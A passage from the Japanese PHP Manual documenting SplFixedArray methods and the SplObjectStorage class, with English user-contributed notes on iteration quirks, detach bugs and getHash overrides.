$arr[1] = null; // $arr->offsetSet(1, null);
var_dump($arr->offsetExists(1)); // true

unset($arr[1]); // $arr->offsetUnset(1);
var_dump($arr->offsetExists(1)); // false

var_dump($arr);
/*
object(SplFixedArray)[1]
  null
  null
  null
*/
?>


指定した添字の値を返す

  • ≪ SplFixedArray::offsetExists
  • SplFixedArray::offsetSet ≫
  • PHP Manual
  • SplFixedArray
  • 指定した添字の値を返す

SplFixedArray::offsetGet

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::offsetGet — 指定した添字の値を返す

説明

public SplFixedArray::offsetGet ( int $index ) : mixed

index で指定した添字の値を返します。

パラメータ

index

値を取得したい添字。

返り値

index で指定した添字の値を返します。

エラー / 例外

index が配列で定義されているサイズの範囲外の場合や index を数値として解釈できない場合に RuntimeException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


指定した添字の新しい値を設定する

  • ≪ SplFixedArray::offsetGet
  • SplFixedArray::offsetUnset ≫
  • PHP Manual
  • SplFixedArray
  • 指定した添字の新しい値を設定する

SplFixedArray::offsetSet

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::offsetSet — 指定した添字の新しい値を設定する

説明

public SplFixedArray::offsetSet ( int $index , mixed $newval ) : void

index で指定した添字の値を newval に設定します。

パラメータ

index

設定したい添字。

newval

index の新しい値。

返り値

値を返しません。

エラー / 例外

index が配列で定義されているサイズの範囲外の場合や index を数値として解釈できない場合に RuntimeException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


指定した添字の値を消去する

  • ≪ SplFixedArray::offsetSet
  • SplFixedArray::rewind ≫
  • PHP Manual
  • SplFixedArray
  • 指定した添字の値を消去する

SplFixedArray::offsetUnset

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::offsetUnset — 指定した添字の値を消去する

説明

public SplFixedArray::offsetUnset ( int $index ) : void

指定した添字の値を消去します。

パラメータ

index

消去したい添字。

返り値

値を返しません。

エラー / 例外

index が配列で定義されているサイズの範囲外の場合や index を数値として解釈できない場合に RuntimeException をスローします。

User Contributed Notes

c dot 1 at smithies dot org 22-Nov-2010 08:07
This function assigns NULL to the array element. Its use has no effect on count(). Whereas assigning NULL to an element will have no effect on isset(), offsetUnset() and unset() do. Whereas unsetting an element affects the behaviour of foreach() as applied to an array or an ArrayObject, it has no such effect on SplFixedArray, as demonstrated by the code below.

<?php

class atest extends SplFixedArray {
  public function fill() {
    for ($i = $this->count(); --$i >= 0; ) $this[$i] = $i;
  }
  public function dump() {
    $sep = ' ';
    foreach ($this as $k => $v) {
      echo $sep, "$k: ", (is_null($v) ? 'NULL' : $v);
      if (!isset($this[$k])) echo ' and unset';
      $sep = ', ';
    }
    echo PHP_EOL;
  }
}

$a = new atest(3);
$a->dump(); //  0: NULL and unset, 1: NULL and unset, 2: NULL and unset
$a->fill();
$a->dump(); //  0: 0, 1: 1, 2: 2
$a[1] = NULL;
unset($a[2]);
$a->dump(); //  0: 0, 1: NULL, 2: NULL and unset
?>


イテレータを先頭に巻き戻す

  • ≪ SplFixedArray::offsetUnset
  • SplFixedArray::setSize ≫
  • PHP Manual
  • SplFixedArray
  • イテレータを先頭に巻き戻す

SplFixedArray::rewind

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::rewind — イテレータを先頭に巻き戻す

説明

public SplFixedArray::rewind ( ) : void

イテレータを先頭に巻き戻します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

kishor10d at gmail dot com 12-Jun-2019 05:13
<?php

/**
 * Example : rewind();
 */

$arr = new SplFixedArray(5);

$arr[1] = 2;
$arr[4] = "foo";

$a = $arr->key();
var_dump($a);
echo "<br>";

$arr->next();
$a = $arr->key();
var_dump($a);
echo "<br>";

$arr->next();
$a = $arr->key();
var_dump($a);
echo "<br>";

$arr->rewind();
$a = $arr->key();
var_dump($a);
echo "<br>";
?>

The above example will output:

int(0)
int(1)
int(2)
int(0)


配列のサイズを変更する

  • ≪ SplFixedArray::rewind
  • SplFixedArray::toArray ≫
  • PHP Manual
  • SplFixedArray
  • 配列のサイズを変更する

SplFixedArray::setSize

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::setSize — 配列のサイズを変更する

説明

public SplFixedArray::setSize ( int $size ) : bool

配列のサイズを、新しい値 size に変更します。 size が現在の配列のサイズより小さい場合は、 入りきらなかったそれ以降の値は破棄されます。 size が現在の配列のサイズより大きい場合は、 増えた要素の値は null となります。

パラメータ

size

新しい配列のサイズ。 0 から PHP_INT_MAX までの数を指定します。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

size が負の数である場合に InvalidArgumentException をスローします。

size を数値として解釈できない場合に E_WARNING が発生します。

例

例1 SplFixedArray::setSize() の例

<?php
   $array = new SplFixedArray(5);
   echo $array->getSize()."\n";
   $array->setSize(10);
   echo $array->getSize()."\n";
?>

上の例の出力は以下となります。

5
10

User Contributed Notes

There are no user contributed notes for this page.


固定長配列から PHP の配列を返す

  • ≪ SplFixedArray::setSize
  • SplFixedArray::valid ≫
  • PHP Manual
  • SplFixedArray
  • 固定長配列から PHP の配列を返す

SplFixedArray::toArray

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::toArray — 固定長配列から PHP の配列を返す

説明

public SplFixedArray::toArray ( ) : array

固定長配列から PHP の配列を返します。

パラメータ

この関数にはパラメータはありません。

返り値

固定長配列と同じ内容の PHP の配列を返します。

例

例1 SplFixedArray::toArray() の例

<?php
$fa = new SplFixedArray(3);
$fa[0] = 0;
$fa[2] = 2;
var_dump($fa->toArray());
?>

上の例の出力は以下となります。

array(3) {
  [0]=>
  int(0)
  [1]=>
  NULL
  [2]=>
  int(2)
}

User Contributed Notes

There are no user contributed notes for this page.


配列にまだ要素があるかどうかを調べる

  • ≪ SplFixedArray::toArray
  • SplFixedArray::__wakeup ≫
  • PHP Manual
  • SplFixedArray
  • 配列にまだ要素があるかどうかを調べる

SplFixedArray::valid

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::valid — 配列にまだ要素があるかどうかを調べる

説明

public SplFixedArray::valid ( ) : bool

配列にまだ要素があるかどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

配列にまだ要素がある場合に true、それ以外の場合に false を返します。

User Contributed Notes

c dot 1 at smithies dot org 22-Nov-2010 08:13
This function will return TRUE whenever the iterator is within the array bounds, even if unset() has been called on the current element.


アンシリアライズ後に配列を再初期化する

  • ≪ SplFixedArray::valid
  • SplObjectStorage ≫
  • PHP Manual
  • SplFixedArray
  • アンシリアライズ後に配列を再初期化する

SplFixedArray::__wakeup

(PHP 5 >= 5.5.0, PHP 7)

SplFixedArray::__wakeup — アンシリアライズ後に配列を再初期化する

説明

public SplFixedArray::__wakeup ( ) : void

アンシリアライズ後に配列を再初期化します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


SplObjectStorage クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

SplObjectStorage クラスは、オブジェクトをデータに対応させたり、 データを渡さずオブジェクトセットとして使用したりします。 これらはどちらも、オブジェクトを一意に特定したい場合に便利です。

クラス概要

SplObjectStorage implements Countable , Iterator , Serializable , ArrayAccess {
/* メソッド */
public addAll ( SplObjectStorage $storage ) : void
public attach ( object $object , mixed $data = null ) : void
public contains ( object $object ) : bool
public count ( ) : int
public current ( ) : object
public detach ( object $object ) : void
public getHash ( object $object ) : string
public getInfo ( ) : mixed
public key ( ) : int
public next ( ) : void
public offsetExists ( object $object ) : bool
public offsetGet ( object $object ) : mixed
public offsetSet ( object $object , mixed $data = null ) : void
public offsetUnset ( object $object ) : void
public removeAll ( SplObjectStorage $storage ) : void
public removeAllExcept ( SplObjectStorage $storage ) : void
public rewind ( ) : void
public serialize ( ) : string
public setInfo ( mixed $data ) : void
public unserialize ( string $serialized ) : void
public valid ( ) : bool
}

例

例1 SplObjectStorage をセットとして使用

<?php
// オブジェクトセット
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;
$o3 = new StdClass;

$s->attach($o1);
$s->attach($o2);

var_dump($s->contains($o1));
var_dump($s->contains($o2));
var_dump($s->contains($o3));

$s->detach($o2);

var_dump($s->contains($o1));
var_dump($s->contains($o2));
var_dump($s->contains($o3));
?>

上の例の出力は以下となります。

bool(true)
bool(true)
bool(false)
bool(true)
bool(false)
bool(false)

例2 SplObjectStorage をマップとして使用

<?php
// オブジェクトとデータを対応させます
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;
$o3 = new StdClass;

$s[$o1] = "data for object 1";
$s[$o2] = array(1,2,3);

if (isset($s[$o2])) {
    var_dump($s[$o2]);
}
?>

上の例の出力は以下となります。

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

目次

  • SplObjectStorage::addAll — 別のストレージからすべてのオブジェクトを追加する
  • SplObjectStorage::attach — オブジェクトをストレージに追加する
  • SplObjectStorage::contains — ストレージに特定のオブジェクトが含まれるかどうかを調べる
  • SplObjectStorage::count — ストレージ内のオブジェクトの数を返す
  • SplObjectStorage::current — 現在のストレージの要素を返す
  • SplObjectStorage::detach — オブジェクトをストレージから取り除く
  • SplObjectStorage::getHash — 中に含むオブジェクトの一意な識別子を算出する
  • SplObjectStorage::getInfo — イテレータの現在のエントリに関連づけられたデータを返す
  • SplObjectStorage::key — イテレータの現在位置を返す
  • SplObjectStorage::next — 次のエントリに移動する
  • SplObjectStorage::offsetExists — オブジェクトがストレージ内に存在するかどうかを調べる
  • SplObjectStorage::offsetGet — オブジェクトに関連づけられたデータを返す
  • SplObjectStorage::offsetSet — ストレージ内のオブジェクトにデータを関連づける
  • SplObjectStorage::offsetUnset — ストレージからオブジェクトを取り除く
  • SplObjectStorage::removeAll — 別のストレージに含まれているオブジェクトを現在のストレージから取り除く
  • SplObjectStorage::removeAllExcept — 別のストレージに含まれているもの以外のすべてのオブジェクトを現在のストレージから取り除く
  • SplObjectStorage::rewind — イテレータをストレージの最初の要素に巻き戻す
  • SplObjectStorage::serialize — ストレージをシリアライズする
  • SplObjectStorage::setInfo — イテレータの現在のエントリに関連づけるデータを設定する
  • SplObjectStorage::unserialize — ストレージの文字列表現をアンシリアライズする
  • SplObjectStorage::valid — イテレータの現在のエントリが有効かどうかを返す

User Contributed Notes

rafal at pawlukiewicz dot com 04-Mar-2019 10:21
SplObjectStorage class can be nicely used in Observer pattern, for example:

<?php
class Subject implements \SplSubject
{
    private $observers;

    public function __construct()
    {
        $this->observers = new \SplObjectStorage;
    }

    public function attach(\SplObserver $observer)
    {
        $this->observers->attach($observer);
    }

    public function detach(\SplObserver $observer)
    {
        $this->observers->detach($observer);
    }

    public function notify()
    {
        foreach ($this->observers as $observer) {
            $observer->update($this);
        }
    }
}
?>
grzeniufication 15-Jul-2017 08:35
<?php
/**
  * For simple use cases (where you want to keep objects in a map)
  * I would suggest to stick to an plain old array. Just use the object
  * hash as array key.
  */
$entity1 = new stdClass();
$entity2 = new stdClass();
$entities = [];
$entities[spl_object_hash($entity1)] = $entity1;
$entities[spl_object_hash($entity2)] = $entity2;

// object hashes are hard to distinguish so you could run a hash function
// on them for better readability.
$entities[md5(spl_object_hash($entity1))] = $entity1;
$entities[md5(spl_object_hash($entity2))] = $entity2;

print_r($entities);
divinity76 at gmail dot com 05-May-2017 05:58
if you're looking for a ResourceStorage, check https://gist.github.com/divinity76/b8041e073b74bdeab562a075fc94217f

(i needed it for socket programming with socket_select())
frame86 at live dot com 31-Aug-2016 08:29
Keep in mind that foreach() will copy your array before iterating, SplObjectStorage does not. If you have a sub call within an iteration that also calls foreach() on the object storage again, the iterator position collides!

To be safe use:
<?php
foreach(clone $myStorage as $obj) {

}
?>
kris dot lamote at it-kitchen dot be 22-May-2015 07:41
For anyone having issues with SplObjectStorages containing corrupt member variables after garbage collection (FatalErrorException after serializing): we used following fix to great effect
<?php

class FixedSplObjectStorage extends SplObjectStorage
{

    public function serialize()
    {
        $goodPortion = 'N;;m:a:0:{}';
        $startKey = 'N;;m:a:';

        $serialized = parent::serialize();

        $startPos = strpos($serialized, $startKey);

        if ($startPos !== false) {
            $serialized = substr_replace($serialized, $goodPortion, $startPos, -1);

        }

        return $serialized;

    }
}

?>
m dot drewek at smf dot de 28-Jan-2015 08:49
Please note that SplObjectStorage has a Bug introduced with 5.4.0, breaking object lookup in cloned instances of derived classes that overwrite getHash().

This is a confirmed Bug: https://bugs.php.net/bug.php?id=67582

Example:
<?php
class MyObjectStorage extends SplObjectStorage {
    // Overwrite getHash() with just some (working) test-method
    public function getHash($object) { return get_class($object); }
}

class TestObject {}

$list = new MyObjectStorage(); // No issues if using "new SplObjectStorage()"
$list->attach(new TestObject());

foreach($list as $x) var_dump($list->offsetExists($x)); // TRUE

$list2 = clone $list;
foreach($list2 as $x) var_dump($list2->offsetExists($x)); // FALSE
?>
Marius 20-Nov-2014 10:54
Do not use SplObjectStorage::detach when forach'ing over items in the storage as this skips the second (and only second) element.

Example:

<?php

class A {
    public $i;
    public function __construct($i) {
        $this->i = $i;
    }
}

$container = new \SplObjectStorage();

$container->attach(new A(1));
$container->attach(new A(2));
$container->attach(new A(3));
$container->attach(new A(4));
$container->attach(new A(5));

foreach ($container as $item) {
    echo $item->i . "\n";
    $container->detach($item);
}
echo "== Left in storage ==\n";
foreach ($container as $item) {
    echo $item->i . "\n";
}
/* Outputs:
1
3
4
5
== Left in storage ==
2
*/
?>
Adam Monsen 07-Jan-2014 05:48
Note some inconsistent/surprising behavior in SplObjectStorage to preserve backwards compatibility. You can't properly use foreach with key/value syntax.

<?php
$spl = new SplObjectStorage ();
$keyForA = new StdClass();
$keyForB = new StdClass();
$spl[$keyForA] = 'value a';
$spl[$keyForB] = 'value b';
foreach ($spl as $key => $value)
{
    // $key is NOT an object, $value is!
    // Must use standard array access to get strings.
    echo $spl[$value] . "\n"; // prints "value a", then "value b"
}
// it may be clearer to use this form of foreach:
foreach ($spl as $key)
{
    // $key is an object.
    // Use standard array access to get values.
    echo $spl[$key] . "\n"; // prints "value a", then "value b"
}
?>

See https://bugs.php.net/bug.php?id=49967
inwebo at gmail dot fr 28-Feb-2012 11:01
I needed to merge SplObjectStorages.
<?php
// As an object set
$SplObjectStorage_1 = new SplObjectStorage();

$object1 = new StdClass;
$object1->attr = 'obj 1';
$object2 = new StdClass;
$object2->attr = 'obj 2';
$object3 = new StdClass;
$object3->attr = 'obj 3';

$SplObjectStorage_1->attach($object1);
$SplObjectStorage_1->attach($object2);
$SplObjectStorage_1->attach($object3);

// Another one object set
$SplObjectStorage_2 = new SplObjectStorage();

$object4 = new StdClass;
$object4->attr = 'obj 4';
$object5 = new StdClass;
$object5->attr = 'obj 5';
$object6 = new StdClass;
$object6->attr = 'obj 6';

$SplObjectStorage_2->attach($object4);
$SplObjectStorage_2->attach($object5);
$SplObjectStorage_2->attach($object6);

/**
 * Merge SplObjectStorage
 *
 * @param how many SplObjectStorage params as you want
 * @return SplObjectStorage
 */
function mergeSplObjectStorage() {

    $buffer   = new SplObjectStorage();

    if( func_num_args() > 0  ) {
        $args = func_get_args();
        foreach ($args as $objectStorage) {
            foreach($objectStorage as $object) {
                if(is_object( $object ) ) {
                    $buffer->attach($object);
                }
            }
        }
    }
    else{
        return FALSE;
    }
    return $buffer;
}

$merge = mergeSplObjectStorage($SplObjectStorage_1, $SplObjectStorage_2);

?>
<?php
echo $merge->count();
?>
Will output :
6

<?php
$merge->rewind();
while($merge->valid()) {
    $object = $merge->current();
    var_dump($object);
    $merge->next();
}
?>
Will ouput :
object(stdClass)#2 (1) {
  ["attr"]=>
  string(5) "obj 1"
}
object(stdClass)#3 (1) {
  ["attr"]=>
  string(5) "obj 2"
}
object(stdClass)#4 (1) {
  ["attr"]=>
  string(5) "obj 3"
}
object(stdClass)#6 (1) {
  ["attr"]=>
  string(5) "obj 4"
}
object(stdClass)#7 (1) {
  ["attr"]=>
  string(5) "obj 5"
}
object(stdClass)#8 (1) {
  ["attr"]=>
  string(5) "obj 6"
}

My two cents.
Jan Walther 30-Jun-2011 06:57
I rewrote some scripts and changed object storage with arrays to SplObjectStorage. At some point I needed support of array_rand() but I did not find a function to return a random attached object of an SplObjectStorage object.

So here is my solution for random access to SplObjectStorage:

<?php
$o1 = new StdClass;
$o2 = new StdClass;
$s = new SplObjectStorage;
$s->attach($o1);
$s->attach($o2);

$random = rand(0,$s->count()-1);
$s->rewind();
for($i=0;$i<$random;$i++) {
  $s->next();
}
var_dump($s->current());
?>
randallgirard at hotmail dot com 14-Dec-2009 12:01
I have two things to note about SplObjectStorage:

#1: A reference to the object itself is stored (not just a hash to compare against the object) and it must be removed before the object is destroyed and the destructor is executed.

#2: SplObjectStorage::rewind() MUST be called to initiate the iterator and before SplObjectStorage::current() will return an object (and I think the only way to retrieve an object?) rather than automatically starting at the first element as I expected it to, like an array for example. This assumption is based on SplObjectStorage::current() returning NULL until SplObjectStorage::rewind() is called once the objects are contained. As a note, always use REWIND before iterating through or fetching objects.

<?php

class foo {
    public function __destruct() {
        print("--- DESTRUCTOR FIRED!!<br />\r\n");
    }
}

# Create object and storage
$bar = new foo();
$s = new SplObjectStorage();

# Rewind early just as a test
$s->rewind();

# attach the object
$s->attach($bar, array('test'));

# Unset the object; destructor does NOT fire
unset($bar);
print("Object has been unset<br />\r\n");

# First demonstrate that REWIND must be called to initialize the iterator
$obj = $s->current();
var_dump($obj);
print("- Note the NULL (from \$s->current())<br />\r\n");

# Initialize, and then detach the current (and only) object
$s->rewind();
$s->detach( $s->current() );

# The destructor should NOW execute

?>

Output:

Object has been unset
NULL - Note the NULL (from $s->current())
--- DESTRUCTOR FIRED!!


別のストレージからすべてのオブジェクトを追加する

  • ≪ SplObjectStorage
  • SplObjectStorage::attach ≫
  • PHP Manual
  • SplObjectStorage
  • 別のストレージからすべてのオブジェクトを追加する

SplObjectStorage::addAll

(PHP 5 >= 5.3.0, PHP 7)

SplObjectStorage::addAll — 別のストレージからすべてのオブジェクトを追加する

説明

public SplObjectStorage::addAll ( SplObjectStorage $storage ) : void

別のストレージにあるすべてのオブジェクトとデータのペアを、 現在のストレージに追加します。

パラメータ

storage

インポートしたいストレージ。

返り値

値を返しません。

例

例1 SplObjectStorage::addAll() の例

<?php
$o = new StdClass;
$a = new SplObjectStorage();
$a[$o] = "hello";

$b = new SplObjectStorage();
$b->addAll($a);
echo $b[$o]."\n";
?>

上の例の出力は、 たとえば以下のようになります。

hello

参考

  • SplObjectStorage::removeAll() - 別のストレージに含まれているオブジェクトを現在のストレージから取り除く

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトをストレージに追加する

  • ≪ SplObjectStorage::addAll
  • SplObjectStorage::contains ≫
  • PHP Manual
  • SplObjectStorage
  • オブジェクトをストレージに追加する

SplObjectStorage::attach

(PHP 5 >= 5.1.0, PHP 7)

SplObjectStorage::attach — オブジェクトをストレージに追加する

説明

public SplObjectStorage::attach ( object $object , mixed $data = null ) : void

オブジェクトをストレージに追加し、 オプションでそれを何らかのデータに関連づけます。

パラメータ

object

追加したいオブジェクト。

data

object に関連づけるデータ。

返り値

値を返しません。

例

例1 SplObjectStorage::attach() の例

<?php
$o1 = new StdClass;
$o2 = new StdClass;
$s = new SplObjectStorage();
$s->attach($o1); // $s[$o1] = NULL; と同等
$s->attach($o2, "hello"); // $s[$o2] = "hello"; と同等

var_dump($s[$o1]);
var_dump($s[$o2]);

?>

上の例の出力は、 たとえば以下のようになります。

NULL
string(5) "hello"

参考

  • SplObjectStorage::detach() - オブジェクトをストレージから取り除く
  • SplObjectStorage::offsetSet() - ストレージ内のオブジェクトにデータを関連づける

User Contributed Notes

There are no user contributed notes for this page.


ストレージに特定のオブジェクトが含まれるかどうかを調べる

  • ≪ SplObjectStorage::attach
  • SplObjectStorage::count ≫
  • PHP Manual
  • SplObjectStorage
  • ストレージに特定のオブジェクトが含まれるかどうかを調べる

SplObjectStorage::contains

(PHP 5 >= 5.1.0, PHP 7)

SplObjectStorage::contains — ストレージに特定のオブジェクトが含まれるかどうかを調べる

説明

public SplObjectStorage::contains ( object $object ) : bool

指定したオブジェクトがストレージに含まれるかどうかを調べます。

パラメータ

object

探したいオブジェクト。

返り値

object がストレージに存在する場合に true、それ以外の場合に false を返します。

例

例1 SplObjectStorage::contains() の例

<?php
$o1 = new StdClass;
$o2 = new StdClass;

$s = new SplObjectStorage();

$s[$o1] = "hello";
var_dump($s->contains($o1));
var_dump($s->contains($o2));
?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(false)

参考

  • SplObjectStorage::offsetExists() - オブジェクトがストレージ内に存在するかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


ストレージ内のオブジェクトの数を返す

  • ≪ SplObjectStorage::contains
  • SplObjectStorage::current ≫
  • PHP Manual
  • SplObjectStorage
  • ストレージ内のオブジェクトの数を返す

SplObjectStorage::count

(PHP 5 >= 5.1.0, PHP 7)

SplObjectStorage::count — ストレージ内のオブジェクトの数を返す

説明

public SplObjectStorage::count ( ) : int

ストレージ内のオブジェクトの数を数えます。

パラメータ

この関数にはパラメータはありません。

返り値

ストレージ内のオブジェクトの数を返します。

例

例1 SplObjectStorage::count() の例

<?php
$s = new SplObjectStorage();
$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1);
$s->attach($o2);
$s->attach($o1);
var_dump($s->count());
var_dump(count($s));
?>

上の例の出力は、 たとえば以下のようになります。

int(2)
int(2)

参考

  • SplObjectStorage::attach() - オブジェクトをストレージに追加する
  • SplObjectStorage::detach() - オブジェクトをストレージから取り除く

User Contributed Notes

There are no user contributed notes for this page.


現在のストレージの要素を返す

  • ≪ SplObjectStorage::count
  • SplObjectStorage::detach ≫
  • PHP Manual
  • SplObjectStorage
  • 現在のストレージの要素を返す

SplObjectStorage::current

(PHP 5 >= 5.1.0, PHP 7)

SplObjectStorage::current — 現在のストレージの要素を返す

説明

public SplObjectStorage::current ( ) : object

現在のストレージの要素を返します。

パラメータ

この関数にはパラメータはありません。

返り値

現在のイテレータの位置にあるオブジェクトを返します。

例

例1 SplObjectStorage::current() の例

<?php
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
    $index  = $s->key();
    $object = $s->current(); // current($s) と同等
    $data   = $s->getInfo();

    var_dump($object);
    var_dump($data);
    $s->next();
}
?>

上の例の出力は、 たとえば以下のようになります。

object(stdClass)#2 (0) {
}
string(2) "d1"
object(stdClass)#3 (0) {
}
string(2) "d2"

参考

  • SplObjectStorage::rewind() - イテレータをストレージの最初の要素に巻き戻す
  • SplObjectStorage::key() - イテレータの現在位置を返す
  • SplObjectStorage::next() - 次のエントリに移動する
  • SplObjectStorage::valid() - イテレータの現在のエントリが有効かどうかを返す
  • SplObjectStorage::getInfo() - イテレータの現在のエントリに関連づけられたデータを返す

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトをストレージから取り除く

  • ≪ SplObjectStorage::current
  • SplObjectStorage::getHash ≫
  • PHP Manual
  • SplObjectStorage
  • オブジェクトをストレージから取り除く

SplObjectStorage::detach

(PHP 5 >= 5.1.0, PHP 7)

SplObjectStorage::detach — オブジェクトをストレージから取り除く

説明

public SplObjectStorage::detach ( object $object ) : void

オブジェクトをストレージから取り除きます。

パラメータ

object

取り除きたいオブジェクト。

返り値

値を返しません。

例

例1 SplObjectStorage::detach() の例

<?php
$o = new StdClass;
$s = new SplObjectStorage();
$s->attach($o);
var_dump(count($s));
$s->detach($o);
var_dump(count($s));
?>

上の例の出力は、 たとえば以下のようになります。

int(1)
int(0)

参考

  • SplObjectStorage::attach() - オブジェクトをストレージに追加する
  • SplObjectStorage::removeAll() - 別のストレージに含まれているオブジェクトを現在のストレージから取り除く

User Contributed Notes

Hayley Watson 11-Dec-2017 09:21
No complaints from SplObjectStorage if you try to detach an object that isn't in the collection; it's a no-op.

<?php

$o = new StdClass;
$t = new StdClass;
$s = new SplObjectStorage();
$s->attach($o);
var_dump(count($s));
$s->detach($t); // Didn't attach this one.
var_dump(count($s));

?>
alan dot bem at gmail dot com 07-Sep-2013 07:55
SplObjectSotage::detach() has a bug - it rewinds internal array pointer.
Remember that - when looping over the storage - as it has no workaround.

https://bugs.php.net/bug.php?id=65629&edit=2
r dot wilczek at web-appz dot de 30-Apr-2010 01:18
Detaching the current entry from the storage prevents SplObjectStorage::next() to operate.

Example as a PHPUnit-test:

<?php
public function testDetachingCurrentPreventsNext()
{
    $storage = new SplObjectStorage;
    $storage->attach(new stdClass);
    $storage->attach(new stdClass);
    $storage->rewind();
    $iterated = 0;
    $expected = $storage->count();
    while ($storage->valid()) {
        $iterated++;
        $storage->detach($storage->current());
        $storage->next();
    }
    $this->assertEquals($expected, $iterated);
}
?>

This test will fail, for the iteration will never reach the second stdClass.
SplObjectStorage::next() obviously relies on the current element to be valid.

If you want to detach objects during iterations, you should dereference objects, before you call next() and detach the reference after next():

<?php
public function testDetachingReferenceAfterNext()
{
    $storage = new SplObjectStorage;
    $storage->attach(new stdClass);
    $storage->attach(new stdClass);
    $storage->rewind();
    $iterated = 0;
    $expected = $storage->count();
    while ($storage->valid()) {
        $iterated++;
        $object = $storage->current();
        $storage->next();
        $storage->detach($object);
    }
    $this->assertEquals($expected, $iterated);
}
?>

This test will pass.


中に含むオブジェクトの一意な識別子を算出する

  • ≪ SplObjectStorage::detach
  • SplObjectStorage::getInfo ≫
  • PHP Manual
  • SplObjectStorage
  • 中に含むオブジェクトの一意な識別子を算出する

SplObjectStorage::getHash

(PHP 5 >= 5.4.0, PHP 7)

SplObjectStorage::getHash — 中に含むオブジェクトの一意な識別子を算出する

説明

public SplObjectStorage::getHash ( object $object ) : string

このメソッドは、SplObjectStorage オブジェクトに追加されたオブジェクトの識別子を算出します。

SplObjectStorage の実装では、 spl_object_hash() と同じ値を返します。

ストレージオブジェクトには、同じ識別子のオブジェクトを複数格納することはできません。 それを利用して、セット (一意な値のコレクション) を実装するのにも使えます。 オブジェクトが一意であるという性質は、この関数の返す値が一意であるということで実現できます。

パラメータ

object

識別子を算出したいオブジェクト。

返り値

算出した識別子を文字列で返します。

エラー / 例外

返された値が文字列でない場合に RuntimeException をスローします。

例

例1 SplObjectStorage::getHash() の例

<?php
class OneSpecimenPerClassStorage extends SplObjectStorage {
    public function getHash($o) {
        return get_class($o);
    }
}
class A {}

$s = new OneSpecimenPerClassStorage;
$o1 = new stdClass;
$o2 = new stdClass;
$o3 = new A;

$s[$o1] = 1;
// $o2 は $o1 に等しいとみなされ、値が置き換えられます
$s[$o2] = 2;
$s[$o3] = 3;

// これらは先ほどのオブジェクトと等しいとみなされ、
// さきほど格納した値にアクセスできるようになります
$p1 = new stdClass;
$p2 = new A;
echo $s[$p1], "\n";
echo $s[$p2], "\n";
?>

上の例の出力は、 たとえば以下のようになります。

2
3

参考

  • spl_object_hash() - 指定したオブジェクトのハッシュ ID を返す

User Contributed Notes

aron dot duby at gmail dot com 17-Dec-2012 07:09
This also appears to be the function which gets used within the contains() function, so if all the objects you are storing already have a unique id you can overwrite this function with your own class.

<?php
class UserStorage extends SPLObjectStorage{
     public function getHash($obj){
          return $obj->id;
     }
}

$us = new UserStorage();
$user1 = new User(1);
$user2 = new User(2);

$us->attach($user1);
$us->attach($user2);

$me = new User(2);

// the following would normally fail since they are two separate objects
// but it works now with our extended getHash()
$us->contains($me);

?>


イテレータの現在のエントリに関連づけられたデータを返す

  • ≪ SplObjectStorage::getHash
  • SplObjectStorage::key ≫
  • PHP Manual
  • SplObjectStorage
  • イテレータの現在のエントリに関連づけられたデータを返す

SplObjectStorage::getInfo

(PHP 5 >= 5.3.0, PHP 7)

SplObjectStorage::getInfo — イテレータの現在のエントリに関連づけられたデータを返す

説明

public SplObjectStorage::getInfo ( ) : mixed

イテレータの現在の位置が指すオブジェクトに関連づけられたデータあるいは情報を返します。

パラメータ

この関数にはパラメータはありません。

返り値

イテレータの現在の位置に関連づけられたデータを返します。

例

例1 SplObjectStorage::getInfo() の例

<?php
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
    $index  = $s->key();
    $object = $s->current(); // current($s) と同等
    $data   = $s->getInfo();

    var_dump($object);
    var_dump($data);
    $s->next();
}
?>

上の例の出力は、 たとえば以下のようになります。

object(stdClass)#2 (0) {
}
string(2) "d1"
object(stdClass)#3 (0) {
}
string(2) "d2"

参考

  • SplObjectStorage::current() - 現在のストレージの要素を返す
  • SplObjectStorage::rewind() - イテレータをストレージの最初の要素に巻き戻す
  • SplObjectStorage::key() - イテレータの現在位置を返す
  • SplObjectStorage::next() - 次のエントリに移動する
  • SplObjectStorage::valid() - イテレータの現在のエントリが有効かどうかを返す
  • SplObjectStorage::setInfo() - イテレータの現在のエントリに関連づけるデータを設定する

User Contributed Notes

Ye Wang 27-Sep-2010 11:53
This method, SplObjectStorage::getInfo() does NOT exist on PHP 5.2.13.

However, PHP 5.3.2 and above does have it. To find out yourself, use this snippet.

$> php -r "print_r(get_class_methods(new SplObjectStorage()));"

Results for PHP 5.2.13
====
Array
(
    [0] => attach
    [1] => detach
    [2] => contains
    [3] => count
    [4] => rewind
    [5] => valid
    [6] => key
    [7] => current
    [8] => next
    [9] => unserialize
    [10] => serialize
)

Results for PHP 5.3.2
=====
Array
(
    [0] => attach
    [1] => detach
    [2] => contains
    [3] => addAll
    [4] => removeAll
    [5] => getInfo
    [6] => setInfo
    [7] => count
    [8] => rewind
    [9] => valid
    [10] => key
    [11] => current
    [12] => next
    [13] => unserialize
    [14] => serialize
    [15] => offsetExists
    [16] => offsetSet
